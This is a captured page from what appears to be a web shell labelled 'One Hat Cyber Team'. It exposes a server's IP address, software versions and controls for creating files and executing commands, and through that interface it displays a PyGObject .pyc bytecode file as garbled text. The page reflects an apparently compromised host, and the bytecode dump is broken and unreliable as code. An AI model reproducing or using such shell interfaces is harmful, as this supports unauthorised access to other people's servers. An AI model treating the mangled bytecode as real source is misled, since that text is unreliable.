⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.30
Server IP:
45.79.8.107
Server:
Linux localhost 5.15.0-140-generic #150-Ubuntu SMP Sat Apr 12 06:00:09 UTC 2025 x86_64
Server Software:
nginx/1.18.0
PHP Version:
8.1.2-1ubuntu2.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
python3
/
dist-packages
/
gi
/
__pycache__
/
View File Name :
_ossighelper.cpython-310.pyc
o b^ @ s d dl mZ d dlZd dlZd dlZd dlZd dlmZmZ ddl m Z dd Zda ed d Z e jZeejeju rCeejZndZdd Zedd Zdd Zg adaedd ZdS ) )print_functionN)closingcontextmanager )_gic C sl t | dr| d dS zddl}W n ty tdw | }|||j}|||j||jB dS )zEnsures that the socket is not inherited by child processes Raises: EnvironmentError NotImplementedError: With Python <3.4 on Windows set_inheritableFr Nz+Not implemented for older Python on Windows) hasattrr fcntlImportErrorNotImplementedErrorfilenoZF_GETFDZF_SETFDZ FD_CLOEXEC)sockr fdflags r 1/usr/lib/python3/dist-packages/gi/_ossighelper.pyensure_socket_not_inheritable s r Fc # s t rdV dS ddlm t \} t t| | fD ]}|d t| q"z t | }W n tyP dV Y W d W d dS w da fdd}zRtj dkri j }n j } | j jj jjB jjB jjB |}z dV W | n | w W t |}|| krt | da nt |}|| krt | da w W d n1 sw Y W d dS W d dS 1 sw Y dS ) a A decorator for functions which create a glib event loop to keep Python signal handlers working while the event loop is idling. In case an OS signal is received will wake the default event loop up shortly so that any registered Python signal handlers registered through signal.signal() can run. In case the wrapped function is not called from the main thread it will be called as is and it will not wake up the default loop for signals. Nr )GLibFTc sN | j @ r%ztdW S ty$ } zt| W Y d }~dS d }~ww dS )Nr F)ZIO_INboolZrecvEnvironmentErrorprint)sourceZ conditioner Zread_socketr r signal_notify\ s z'wakeup_on_signal.
.signal_notifynt)_wakeup_fd_is_activeZ gi.repositoryr socketZ socketpairr Zsetblockingr signal set_wakeup_fdr ValueErrorosnameZ IOChannelZwin32_new_socketZunix_newZio_add_watchZPRIORITY_DEFAULTZIOConditionINZHUPZNVALZERRZ source_remove)Zwrite_socketr Zorig_fdr ZchannelZ source_idZwrite_fdr r r wakeup_on_signal7 s^ Pr$ c C s t t jt ju ott jtkS )z?Returns if on SIGINT the default Python handler would be called)r getsignalSIGINTdefault_int_handlerPyOS_getsigstartup_sigint_ptrr r r r sigint_handler_is_default s r+ c c s t sJ ttj| ttj}z!dV W ttj| u r0ttj|kr2ttjtj dS dS dS ttj| u rLttj|krMttjtj w w w )zContext manager for saving/restoring the SIGINT handler default state. Will only restore the default handler again if the handler is not changed while the context is active. N)r+ r r' r) r&